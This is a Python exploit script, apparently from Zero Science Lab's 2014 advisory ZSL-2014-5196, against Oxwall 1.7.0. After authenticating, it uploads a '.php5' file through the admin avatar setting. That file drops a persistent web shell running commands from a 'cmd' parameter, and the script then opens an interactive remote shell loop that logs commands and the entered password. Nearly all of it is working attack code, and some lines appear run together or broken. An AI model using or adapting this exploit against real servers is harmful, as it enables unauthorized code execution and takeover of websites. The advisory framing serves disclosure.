#!/usr/bin/env python # # # Oxwall 1.7.0 Remote Code Execution Exploit # # # Vendor: Oxwall Software Foundation # Product web page: http://www.oxwall.org # Affected version: 1.7.0 (build 7907 and 7906) # # Summary: Oxwall is unbelievably flexible and easy to use PHP/MySQL # social networking software platform. # # Desc: Oxwall suffers from an authenticated arbitrary PHP code # execution. The vulnerability is caused due to the improper # verification of uploaded files in '/admin/settings/user' script # thru the 'avatar' and 'bigAvatar' POST parameters. This can be # exploited to execute arbitrary PHP code by uploading a malicious # PHP script file with '.php5' extension (to bypass the '.htaccess' # block rule) that will be stored in '/ow_userfiles/plugins/base/avatars/' # directory. # # Tested on: Kali Linux 3.7-trunk-686-pae #            Apache/2.2.22 (Debian) #            PHP 5.4.4-13(apache2handler) #            MySQL 5.5.28 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # Zero Science Lab - http://www.zeroscience.mk # Macedonian Information Security Research And Development Laboratory # # # Advisory ID: ZSL-2014-5196 # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5196.php # # # 18.07.2014 # #   version = '3.0.0.251'  import itertools, mimetools, mimetypes import cookielib, urllib, urllib2, sys import logging, os, time, datetime, re   from colorama import Fore, Back, Style, init from cStringIO import StringIO from urllib2 import URLError   init()   if os.name == 'posix': os.system('clear') if os.name == 'nt': os.system('cls') piton = os.path.basename(sys.argv[0])   def bannerche():     print '''  @---------------------------------------------------------------@  |                                                               |  |          Oxwall 1.7.0 Remote Code Execution Exploit           |  |                                                               |  |                                                               |  |                       ID: ZSL-2014-5196                       |  |                                                               |  |              Copyleft (c) 2014, Zero Science Lab              |  |                                                               |  @---------------------------------------------------------------@           '''    if len(sys.argv) < 2:         print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname>\n'        print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk\n'        sys.exit()   bannerche()   print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET   host = sys.argv[1]   cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))   try:     opener.open('http://'+host+'/sign-in?back-uri=admin') except urllib2.HTTPError, errorzio:     if errorzio.code == 404:         print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET         print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET         print        sys.exit() except URLError, errorziocvaj:     if errorziocvaj.reason:         print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET         print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET         print        sys.exit()   print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Login please.'  username = raw_input('\x20\x20[*] Enter username: ') password = raw_input('\x20\x20[*] Enter password: ')   login_data = urllib.urlencode({                             'form_name' : 'sign-in',                             'identity' : username,                             'password' : password,                             'remember' : 'on',                             'submit' : 'Sign In'                            })   try:     login = opener.open('http://'+host+'/sign-in?back-uri=admin', login_data)     auth = login.read() except urllib2.HTTPError, errorziotraj:     if errorziotraj.code == 403:         print '\x20\x20[*] '+Fore.RED+'Blocked by WAF.'+Fore.RESET         print        sys.exit()   for session in cj:     sessid = session.name   print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET ses_chk = re.search(r'%s=\w+' % sessid , str(cj)) cookie = ses_chk.group(0) print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET   if re.search(r'Invalid username or email', auth):     print '\x20\x20[*] Invalid username or email given '+'.'*23+Fore.RED+'[ER]'+Fore.RESET     print    sys.exit() elif re.search(r'Invalid password', auth):     print '\x20\x20[*] Invalid password '+'.'*38+Fore.RED+'[ER]'+Fore.RESET     sys.exit() else:     print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET     class MultiPartForm(object):       def __init__(self):         self.form_fields = []         self.files = []         self.boundary = mimetools.choose_boundary()         return          def get_content_type(self):         return 'multipart/form-data; boundary=%s' % self.boundary       def add_field(self, name, value):         self.form_fields.append((name, value))         return      def add_file(self, fieldname, filename, fileHandle, mimetype=None):         body = fileHandle.read()         if mimetype is None:             mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'        self.files.append((fieldname, filename, mimetype, body))         return          def __str__(self):           parts = []         part_boundary = '--' + self.boundary                   parts.extend(             [ part_boundary,               'Content-Disposition: form-data; name="%s"' % name,               '',               value,             ]             for name, value in self.form_fields             )                   parts.extend(             [ part_boundary,               'Content-Disposition: file; name="%s"; filename="%s"' % \                  (field_name, filename),               'Content-Type: %s' % content_type,               '',               body,             ]             for field_name, filename, content_type, body in self.files             )                   flattened = list(itertools.chain(*parts))         flattened.append('--' + self.boundary + '--')         flattened.append('')         return '\r\n'.join(flattened)   if __name__ == '__main__':       form = MultiPartForm()     form.add_field('form_name', 'userSettingsForm')     form.add_field('displayName', 'realname')     form.add_field('confirmEmail', 'on')     form.add_field('avatarSize', '90')     form.add_field('bigAvatarSize', '190')     form.add_field('avatar', '')     form.add_field('join_display_photo_upload', 'display')     form.add_field('save', 'Save')           form.add_file('bigAvatar', 'thricerbd.php5',                    fileHandle=StringIO('<?php system(\'echo \"<?php echo \\"<pre>\\"; passthru(\$_GET[\\\'cmd\\\']); echo \\"</pre>\\"; ?>\" > liwo.php5\'); ?>'))       request = urllib2.Request('http://'+host+'/admin/settings/user')     request.add_header('User-agent', 'joxypoxy 3.0')     body = str(form)     request.add_header('Content-type', form.get_content_type())     request.add_header('Cookie', cookie)     request.add_header('Content-length', len(body))     request.add_data(body)     request.get_data()     urllib2.urlopen(request).read()     print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET     checkfilename = urllib2.urlopen(request).read()     filename = re.search('default_avatar_big_(\w+)', checkfilename).group(1)     print '\x20\x20[*] Getting file name '+'.'*37+Fore.GREEN+'[OK]'+Fore.RESET     print '\x20\x20[*] File name: '+Fore.YELLOW+'default_avatar_big_'+filename+'.php5'+Fore.RESET   opener.open('http://'+host+'/ow_userfiles/plugins/base/avatars/default_avatar_big_'+filename+'.php5') print '\x20\x20[*] Persisting file liwo.php5 '+'.'*29+Fore.GREEN+'[OK]'+Fore.RESET   print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET time.sleep(1)   furl = '/ow_userfiles/plugins/base/avatars/liwo.php5'  printtoday = datetime.date.today() fname = 'oxwall-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'logging.basicConfig(filename=fname,level=logging.DEBUG)   logging.info(' '+'+'*75) logging.info(' +') logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')) logging.info(' + Title: Oxwall 1.7.0 Remote Code Execution Exploit') logging.info(' + Python program executed: '+sys.argv[0]) logging.info(' + Version: '+version) logging.info(' + Full query: \''+piton+'\x20'+host+'\'') logging.info(' + Username input: '+username) logging.info(' + Password input: '+password) logging.info(' + Vector: '+'http://'+host+furl) logging.info(' +') logging.info(' + Advisory ID: ZSL-2014-5196') logging.info(' + Zero Science Lab - http://www.zeroscience.mk') logging.info(' +') logging.info(' '+'+'*75+'\n')   print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET raw_input() while True:     try:         cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)         execute = opener.open('http://'+host+furl+'?cmd='+urllib.quote(cmd))         reverse = execute.read()         pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)           print Style.BRIGHT+Fore.CYAN         cmdout = pattern.match(reverse)         print cmdout.groups()[0].strip()         print Style.RESET_ALL+Fore.RESET           if cmd.strip() == 'exit':             break          logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')     except Exception:         break  logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG') print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET print  sys.exit()